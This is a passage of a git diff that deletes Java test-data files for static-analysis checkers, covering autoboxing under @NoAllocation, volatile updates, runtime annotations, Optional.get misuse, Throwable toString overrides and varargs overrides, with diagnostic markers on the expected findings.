and post- increment/decrement - for (Integer i = 0; i < a.length; i++) { - count++; - } - return count; - } - - @NoAllocation - public void arrayBox(Integer[] a, int i) { - // BUG: Diagnostic contains: @NoAllocation - // Assigning a primitive value - a[0] = i; - } - - @NoAllocation - public int preIncrementBox(Integer i) { - // BUG: Diagnostic contains: @NoAllocation - // Pre- and post- increment/decrement - ++i; - return i; - } - - @NoAllocation - public int postIncrementBox(Integer i) { - // BUG: Diagnostic contains: @NoAllocation - // Pre- and post- increment/decrement - i++; - return i; - } - - @NoAllocation - public int preDecrementBox(Integer i) { - // BUG: Diagnostic contains: @NoAllocation - // Pre- and post- increment/decrement - --i; - return i; - } - - @NoAllocation - public int postDecrementBox(Integer i) { - // BUG: Diagnostic contains: @NoAllocation - // Pre- and post- increment/decrement - i--; - return i; - } - - @NoAllocation - public int forEachBox(int[] a) { - int last = -1; - // BUG: Diagnostic contains: @NoAllocation - // Iterating - for (Integer i : a) { - last = i; - } - return last; - } - - @NoAllocation - public void arrayPreIncrementBox(Integer[] a) { - // BUG: Diagnostic contains: @NoAllocation - // Pre- and post- increment/decrement - ++a[0]; - } - - @NoAllocation - public void arrayPostIncrementBox(Integer[] a) { - // BUG: Diagnostic contains: @NoAllocation - // Pre- and post- increment/decrement - a[0]++; - } - - @NoAllocation - public void arrayPreDecrementBox(Integer[] a) { - // BUG: Diagnostic contains: @NoAllocation - // Pre- and post- increment/decrement - --a[0]; - } - - @NoAllocation - public void arrayPostDecrementBox(Integer[] a) { - // BUG: Diagnostic contains: @NoAllocation - // Pre- and post- increment/decrement - a[0]--; - } - - @NoAllocation - public int compoundBox(Integer a, int b) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - a += b; - return a; - } - - @NoAllocation - public void arrayCompoundBox(Integer[] a, int b) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - a[0] += b; - } - - @NoAllocation - public void andAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 &= i2; - } - - @NoAllocation - public void divideAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 /= i2; - } - - @NoAllocation - public void leftShiftAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 <<= i2; - } - - @NoAllocation - public void minusAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 -= i2; - } - - @NoAllocation - public void multiplyAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 *= i2; - } - - @NoAllocation - public void orAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 |= i2; - } - - @NoAllocation - public void plusAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 += i2; - } - - @NoAllocation - public void remainderAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 %= i2; - } - - @NoAllocation - public void rightShiftAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 >>= i2; - } - - @NoAllocation - public void unsignedRightShiftAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 >>>= i2; - } - - @NoAllocation - public void xorAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 ^= i2; - } - - // Cloning is right out. - @NoAllocation - public Object doClone() throws CloneNotSupportedException { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - return clone(); - } - - // Throwing doesn't exempt through method declarations. - @NoAllocation - public String throwForeach(final Iterable a) { - throw new RuntimeException() { - @NoAllocation - private void f() { - // BUG: Diagnostic contains: @NoAllocation - // Iterating - for (Object o : a) { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - a.toString(); - } - } - }; - } - - public interface NoAllocationInterface { - @NoAllocation - void method(); - } - - public static class NoAllocationImplementingClass implements NoAllocationInterface { - @Override - // BUG: Diagnostic contains: @NoAllocation - public void method() {} - } - - public abstract static class NoAllocationAbstractClass { - @NoAllocation - abstract void method(); - } - - public static class NoAllocationConcreteClass extends NoAllocationAbstractClass { - @Override - // BUG: Diagnostic contains: @NoAllocation - void method() {} - } - - public static class NoAllocationParentClass implements NoAllocationInterface { - @Override - @NoAllocation - public void method() {} - } - - public static class NoAllocationSubclass extends NoAllocationParentClass { - @Override - // BUG: Diagnostic contains: @NoAllocation - public void method() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonAtomicVolatileUpdateNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonAtomicVolatileUpdateNegativeCases.java deleted file mode 100644 index 8a7cf2916fa..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonAtomicVolatileUpdateNegativeCases.java +++ /dev/null @@ -1,71 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** Positive test cases for {@code NonAtomicVolatileUpdate} checker. */ -public class NonAtomicVolatileUpdateNegativeCases { - - private volatile int myVolatileInt = 0; - private int myInt = 0; - private volatile String myVolatileString = ""; - private String myString = ""; - - public void incrementNonVolatile() { - myInt++; - ++myInt; - myInt += 1; - myInt = myInt + 1; - myInt = 1 + myInt; - - myInt = myVolatileInt + 1; - myVolatileInt = myInt + 1; - - myString += "update"; - myString = myString + "update"; - } - - public void decrementNonVolatile() { - myInt--; - --myInt; - myInt -= 1; - myInt = myInt - 1; - } - - public synchronized void synchronizedIncrement() { - myVolatileInt++; - ++myVolatileInt; - myVolatileInt += 1; - myVolatileInt = myVolatileInt + 1; - myVolatileInt = 1 + myVolatileInt; - - myVolatileString += "update"; - myVolatileString = myVolatileString + "update"; - } - - public void synchronizedBlock() { - synchronized (this) { - myVolatileInt++; - ++myVolatileInt; - myVolatileInt += 1; - myVolatileInt = myVolatileInt + 1; - myVolatileInt = 1 + myVolatileInt; - - myVolatileString += "update"; - myVolatileString = myVolatileString + "update"; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonRuntimeAnnotationNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonRuntimeAnnotationNegativeCases.java deleted file mode 100644 index 9ecfde1e218..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonRuntimeAnnotationNegativeCases.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; - -/** - * @author scottjohnson@google.com (Scott Johnsson) - */ -@NonRuntimeAnnotationNegativeCases.Runtime -public class NonRuntimeAnnotationNegativeCases { - - public Runtime testAnnotation() { - return this.getClass().getAnnotation(NonRuntimeAnnotationNegativeCases.Runtime.class); - } - - /** Annotation that is retained at runtime */ - @Retention(RetentionPolicy.RUNTIME) - public @interface Runtime {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonRuntimeAnnotationPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonRuntimeAnnotationPositiveCases.java deleted file mode 100644 index 89734d648dc..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonRuntimeAnnotationPositiveCases.java +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; - -/** - * @author scottjohnson@google.com (Scott Johnsson) - */ -@NonRuntimeAnnotationPositiveCases.NotSpecified -@NonRuntimeAnnotationPositiveCases.NonRuntime -public class NonRuntimeAnnotationPositiveCases { - - public NonRuntime testAnnotation() { - // BUG: Diagnostic contains: runtime; NonRuntime - NonRuntimeAnnotationPositiveCases.class.getAnnotation( - NonRuntimeAnnotationPositiveCases.NonRuntime.class); - // BUG: Diagnostic contains: - NonRuntimeAnnotationPositiveCases.class.getAnnotation( - NonRuntimeAnnotationPositiveCases.NotSpecified.class); - // BUG: Diagnostic contains: - return this.getClass().getAnnotation(NonRuntimeAnnotationPositiveCases.NonRuntime.class); - } - - /** Annotation that is explicitly NOT retained at runtime */ - @Retention(RetentionPolicy.SOURCE) - public @interface NonRuntime {} - - /** Annotation that is implicitly NOT retained at runtime */ - public @interface NotSpecified {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ObjectToStringNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ObjectToStringNegativeCases.java deleted file mode 100644 index 5406bb107c0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ObjectToStringNegativeCases.java +++ /dev/null @@ -1,87 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.joda.time.Duration; - -/** - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class ObjectToStringNegativeCases { - - public static final class FinalObjectClassWithoutToString {} - - public static class NonFinalObjectClassWithoutToString {} - - public static final class FinalObjectClassWithToString { - - @Override - public String toString() { - return "hakuna"; - } - } - - public static class NonFinalObjectClassWithToString { - - @Override - public String toString() { - return "matata"; - } - } - - public void log(Object o) { - System.out.println(o.toString()); - } - - void directToStringCalls() { - NonFinalObjectClassWithoutToString nonFinalObjectClassWithoutToString = - new NonFinalObjectClassWithoutToString(); - System.out.println(nonFinalObjectClassWithoutToString.toString()); - - FinalObjectClassWithToString finalObjectClassWithToString = new FinalObjectClassWithToString(); - System.out.println(finalObjectClassWithToString.toString()); - - NonFinalObjectClassWithToString nonFinalObjectClassWithToString = - new NonFinalObjectClassWithToString(); - System.out.println(nonFinalObjectClassWithToString.toString()); - } - - void callsTologMethod() { - FinalObjectClassWithoutToString finalObjectClassWithoutToString = - new FinalObjectClassWithoutToString(); - log(finalObjectClassWithoutToString); - - NonFinalObjectClassWithoutToString nonFinalObjectClassWithoutToString = - new NonFinalObjectClassWithoutToString(); - log(nonFinalObjectClassWithoutToString); - - FinalObjectClassWithToString finalObjectClassWithToString = new FinalObjectClassWithToString(); - log(finalObjectClassWithToString); - - NonFinalObjectClassWithToString nonFinalObjectClassWithToString = - new NonFinalObjectClassWithToString(); - log(nonFinalObjectClassWithToString); - } - - public void overridePresentInAbstractClassInHierarchy(Duration durationArg) { - String unusedString = Duration.standardSeconds(86400).toString(); - System.out.println("test joda string " + Duration.standardSeconds(86400)); - - unusedString = durationArg.toString(); - System.out.println("test joda string " + durationArg); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ObjectToStringPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ObjectToStringPositiveCases.java deleted file mode 100644 index c9efa3e0233..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ObjectToStringPositiveCases.java +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class ObjectToStringPositiveCases { - - public static final class FinalObjectClassWithoutToString {} - - public static final class FinalGenericClassWithoutToString {} - - void directToStringCalls() { - FinalObjectClassWithoutToString finalObjectClassWithoutToString = - new FinalObjectClassWithoutToString(); - // BUG: Diagnostic contains: ObjectToString - System.out.println(finalObjectClassWithoutToString.toString()); - } - - void genericClassShowsErasure() { - FinalGenericClassWithoutToString finalGenericClassWithoutToString = - new FinalGenericClassWithoutToString<>(); - // BUG: Diagnostic contains: `FinalGenericClassWithoutToString@ - System.out.println(finalGenericClassWithoutToString.toString()); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OptionalNotPresentNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OptionalNotPresentNegativeCases.java deleted file mode 100644 index dd31e870700..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OptionalNotPresentNegativeCases.java +++ /dev/null @@ -1,70 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Optional; -import java.util.function.Predicate; - -/** Includes true-negative cases and false-positive cases. */ -public class OptionalNotPresentNegativeCases { - - // Test this doesn't trigger NullPointerException - private final Predicate> asField = o -> !o.isPresent(); - - // False-positive - public String getWhenTestedSafe_referenceEquality(Optional optional) { - if (!optional.isPresent()) { - if (optional == Optional.of("OK")) { // always false - // BUG: Diagnostic contains: Optional - return optional.get(); - } - } - return ""; - } - - // False-positive - public String getWhenTestedSafe_equals(Optional optional) { - if (!optional.isPresent()) { - if (optional.equals(Optional.of("OK"))) { // always false - // BUG: Diagnostic contains: Optional - return optional.get(); - } - } - return ""; - } - - public String getWhenPresent_blockReassigned(Optional optional) { - if (!optional.isPresent()) { - optional = Optional.of("value"); - return optional.get(); - } - return ""; - } - - public String getWhenPresent_localReassigned(Optional optional) { - if (!optional.isPresent()) { - optional = Optional.of("value"); - } - return optional.get(); - } - - public String getWhenPresent_nestedCheck(Optional optional) { - if (!optional.isPresent() || true) { - return optional.isPresent() ? optional.get() : ""; - } - return ""; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OptionalNotPresentPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OptionalNotPresentPositiveCases.java deleted file mode 100644 index b6c55c7c4e0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OptionalNotPresentPositiveCases.java +++ /dev/null @@ -1,113 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Optional; - -/** Includes true-positive and false-negative cases. */ -public class OptionalNotPresentPositiveCases { - - // False-negative - public String getWhenUnknown(Optional optional) { - return optional.get(); - } - - // False-negative - public String getWhenUnknown_testNull(Optional optional) { - if (optional.get() != null) { - return optional.get(); - } - return ""; - } - - // False-negative - public String getWhenAbsent_testAndNestUnrelated(Optional optional) { - if (true) { - String str = optional.get(); - if (!optional.isPresent()) { - return ""; - } - return str; - } - return ""; - } - - public String getWhenAbsent(Optional testStr) { - if (!testStr.isPresent()) { - // BUG: Diagnostic contains: Optional - return testStr.get(); - } - return ""; - } - - public String getWhenAbsent_multipleStatements(Optional optional) { - if (!optional.isPresent()) { - String test = "test"; - // BUG: Diagnostic contains: Optional - return test + optional.get(); - } - return ""; - } - - // False-negative - public String getWhenAbsent_nestedCheck(Optional optional) { - if (!optional.isPresent() || true) { - return !optional.isPresent() ? optional.get() : ""; - } - return ""; - } - - public String getWhenAbsent_compoundIf_false(Optional optional) { - if (!optional.isPresent() && true) { - // BUG: Diagnostic contains: Optional - return optional.get(); - } - return ""; - } - - // False-negative - public String getWhenAbsent_compoundIf_true(Optional optional) { - if (!optional.isPresent() || true) { - return optional.get(); - } - return ""; - } - - public String getWhenAbsent_elseClause(Optional optional) { - if (optional.isPresent()) { - return optional.get(); - } else { - // BUG: Diagnostic contains: Optional - return optional.get(); - } - } - - // False-negative - public String getWhenAbsent_localReassigned(Optional optional) { - if (!optional.isPresent()) { - optional = Optional.empty(); - } - return optional.get(); - } - - // False-negative - public String getWhenAbsent_methodScoped(Optional optional) { - if (optional.isPresent()) { - return ""; - } - return optional.get(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringNegativeCases.java deleted file mode 100644 index 0840dfa189e..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringNegativeCases.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author mariasam@google.com (Maria Sam) - */ -public class OverrideThrowableToStringNegativeCases { - - class BasicTest extends Throwable {} - - class OtherToString { - public String toString() { - return ""; - } - } - - class NoToString extends Throwable { - public void test() { - System.out.println("test"); - } - } - - class GetMessage extends Throwable { - public String getMessage() { - return ""; - } - } - - class OverridesBoth extends Throwable { - public String toString() { - return ""; - } - - public String getMessage() { - return ""; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringPositiveCases.java deleted file mode 100644 index b5141aead49..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringPositiveCases.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author mariasam@google.com (Maria Sam) - */ -class OverrideThrowableToStringPositiveCases { - - class BasicTest extends Throwable { - - @Override - // BUG: Diagnostic contains: override - public String toString() { - return ""; - } - } - - class MultipleMethods extends Throwable { - - public MultipleMethods() { - ; - } - - @Override - // BUG: Diagnostic contains: override - public String toString() { - return ""; - } - } - - class NoOverride extends Throwable { - - // BUG: Diagnostic contains: override - public String toString() { - return ""; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringPositiveCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringPositiveCases_expected.java deleted file mode 100644 index 5e1f8a7ffac..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringPositiveCases_expected.java +++ /dev/null @@ -1,50 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author mariasam@google.com (Maria Sam) - */ -class OverrideThrowableToStringPositiveCases { - - // BUG: Diagnostic contains: override - class BasicTest extends Throwable { - - @Override - public String getMessage() { - return ""; - } - } - - class MultipleMethods extends Throwable { - - public MultipleMethods() { - ; - } - - @Override - public String getMessage() { - return ""; - } - } - - class NoOverride extends Throwable { - - public String getMessage() { - return ""; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase1.java deleted file mode 100644 index c18b5cc656d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase1.java +++ /dev/null @@ -1,86 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class OverridesNegativeCase1 { - abstract class Base { - abstract void varargsMethod(Object... xs); - - abstract void arrayMethod(Object[] xs); - } - - abstract class Child1 extends Base { - @Override - abstract void varargsMethod(final Object... newNames); - } - - abstract class Child2 extends Base { - @Override - abstract void arrayMethod(Object[] xs); - } - - static class StaticClass { - static void staticVarargsMethod(Object... xs) {} - - static void staticArrayMethod(Object[] xs) {} - } - - interface Interface { - void varargsMethod(Object... xs); - - void arrayMethod(Object[] xs); - } - - abstract class ImplementsInterface implements Interface { - public abstract void varargsMethod(Object... xs); - - public abstract void arrayMethod(Object[] xs); - } -} - -// Varargs methods might end up overriding synthetic (e.g. bridge) methods, which will have already -// been lowered into a non-varargs form. Test that we don't report errors when a varargs method -// overrides a synthetic non-varargs method: - -abstract class One { - static class Builder { - Builder varargsMethod(String... args) { - return this; - } - } -} - -class Two extends One { - static class Builder extends One.Builder { - @Override - public Builder varargsMethod(String... args) { - super.varargsMethod(args); - return this; - } - } -} - -class Three extends Two { - static class Builder extends Two.Builder { - @Override - public Builder varargsMethod(String... args) { - super.varargsMethod(args); - return this; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase2.java deleted file mode 100644 index 6f0a2fd2cfe..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase2.java +++ /dev/null @@ -1,39 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class OverridesNegativeCase2 { - abstract class Base { - abstract void varargsMethod(Object... xs); - } - - abstract class SubOne extends Base { - @Override - abstract void varargsMethod(Object... newNames); - } - - abstract class SubTwo extends SubOne { - @Override - abstract void varargsMethod(Object... xs); - } - - abstract class SubThree extends SubTwo { - @Override - abstract void varargsMethod(Object... newNames); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase3.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase3.java deleted file mode 100644 index 2886012ad6d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase3.java +++ /dev/null @@ -1,39 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class OverridesNegativeCase3 { - abstract class Base { - abstract void arrayMethod(Object[] xs); - } - - abstract class SubOne extends Base { - @Override - abstract void arrayMethod(Object[] xs); - } - - abstract class SubTwo extends SubOne { - @Override - abstract void arrayMethod(Object[] xs); - } - - abstract class SubThree extends SubTwo { - @Override - abstract void arrayMethod(Object[] xs); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase1.java deleted file mode 100644 index b38f12358fa..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase1.java +++ /dev/null @@ -1,102 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * This tests that the a bug is reported when a method override changes the type of a parameter from - * varargs to array, or array to varargs. It also ensures that the implementation can handles cases - * with multiple parameters, and whitespaces between the square brackets for array types. - * - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class OverridesPositiveCase1 { - abstract class Base { - abstract void varargsMethod(Object... xs); - - abstract void arrayMethod(int x, Object[] xs); - } - - abstract class Child1 extends Base { - @Override - // BUG: Diagnostic contains: abstract void arrayMethod(int x, Object[] newNames); - abstract void arrayMethod(int x, Object... newNames); - } - - abstract class Child2 extends Base { - @Override - // BUG: Diagnostic contains: abstract void varargsMethod(Object... xs); - abstract void varargsMethod(Object[] xs); - } - - abstract class Child3 extends Base { - @Override - // BUG: Diagnostic contains: abstract void varargsMethod(Object... xs); - abstract void varargsMethod(Object[] xs); - } - - abstract class Child4 extends Base { - @Override - // BUG: Diagnostic contains: abstract void varargsMethod(Object... xs); - abstract void varargsMethod(Object[] xs); - } - - abstract class Child5 extends Base { - @Override - // BUG: Diagnostic contains: Varargs - abstract void varargsMethod(Object[ /**/] xs); - } - - interface Interface { - void varargsMethod(Object... xs); - - void arrayMethod(Object[] xs); - } - - abstract class ImplementsInterface implements Interface { - @Override - // BUG: Diagnostic contains: - public abstract void varargsMethod(Object[] xs); - - @Override - // BUG: Diagnostic contains: - public abstract void arrayMethod(Object... xs); - } - - abstract class MyBase { - abstract void f(Object... xs); - - abstract void g(Object[] xs); - } - - interface MyInterface { - void f(Object[] xs); - - void g(Object... xs); - } - - abstract class ImplementsAndExtends extends MyBase implements MyInterface { - // BUG: Diagnostic contains: - public abstract void f(Object... xs); - // BUG: Diagnostic contains: - public abstract void g(Object[] xs); - } - - abstract class ImplementsAndExtends2 extends MyBase implements MyInterface { - // BUG: Diagnostic contains: - public abstract void f(Object[] xs); - // BUG: Diagnostic contains: - public abstract void g(Object... xs); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase2.java deleted file mode 100644 index 682f700abdb..00000000000 --- 